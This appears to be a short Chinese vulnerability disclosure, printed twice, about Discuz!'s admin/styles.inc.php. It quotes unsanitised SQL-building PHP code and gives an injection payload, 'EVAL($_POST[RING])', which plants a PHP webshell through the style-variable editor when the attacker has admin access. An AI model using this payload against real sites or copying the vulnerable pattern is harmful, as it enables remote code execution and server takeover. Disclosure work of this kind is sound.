在文件admin\styles.inc.php里代码: if($newcvar && $newcsubst) { if($db->result_first("SELECT COUNT(*) FROM {$tablepre}stylevars WHERE variable='$newcvar' AND styleid='$id'")) { cpmsg('styles_edit_variable_duplicate', '', 'error'); } elseif(!preg_match("/[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/", $newcvar)) { cpmsg('styles_edit_variable_illegal', '', 'error'); } $newcvar = strtolower($newcvar); $db->query("INSERT INTO {$tablepre}stylevars (styleid, variable, substitute) VALUES ('$id', '$newcvar', '$newcsubst')"); } 上面代码可以看出来当有后台权限时,可通过编辑风格,自定义模板变量处插入<strong> !','80VUL');EVAL($_POST[RING]);// </strong> 替换出插入 exp by ring04h!,远程写入webshell执行代码. Discuz! 该漏洞已提交,等待官方补丁.
在文件admin\styles.inc.php里代码: if($newcvar && $newcsubst) { if($db->result_first("SELECT COUNT(*) FROM {$tablepre}stylevars WHERE variable='$newcvar' AND styleid='$id'")) { cpmsg('styles_edit_variable_duplicate', '', 'error'); } elseif(!preg_match("/[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/", $newcvar)) { cpmsg('styles_edit_variable_illegal', '', 'error'); } $newcvar = strtolower($newcvar); $db->query("INSERT INTO {$tablepre}stylevars (styleid, variable, substitute) VALUES ('$id', '$newcvar', '$newcsubst')"); } 上面代码可以看出来当有后台权限时,可通过编辑风格,自定义模板变量处插入<strong> !','80VUL');EVAL($_POST[RING]);// </strong> 替换出插入 exp by ring04h!,远程写入webshell执行代码. Discuz! 该漏洞已提交,等待官方补丁.